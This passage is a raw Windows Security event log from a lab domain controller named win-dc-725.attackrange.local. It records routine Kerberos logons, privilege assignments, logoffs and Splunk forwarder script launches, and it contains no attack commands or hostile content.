Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64618 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252211 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1545D1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252210 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154543 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252209 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x154543 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64617 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252208 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154543 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252207 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15449E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252206 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15449E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64616 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252205 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15449E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252204 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1543EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252203 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1543EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64615 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252202 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1543EE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1174 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xedc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252199 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaac - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252198 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252197 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252196 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9a4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252195 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x132c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252262 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x155237 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252261 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x155237 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252260 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252259 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252258 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252257 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1550A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252256 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: 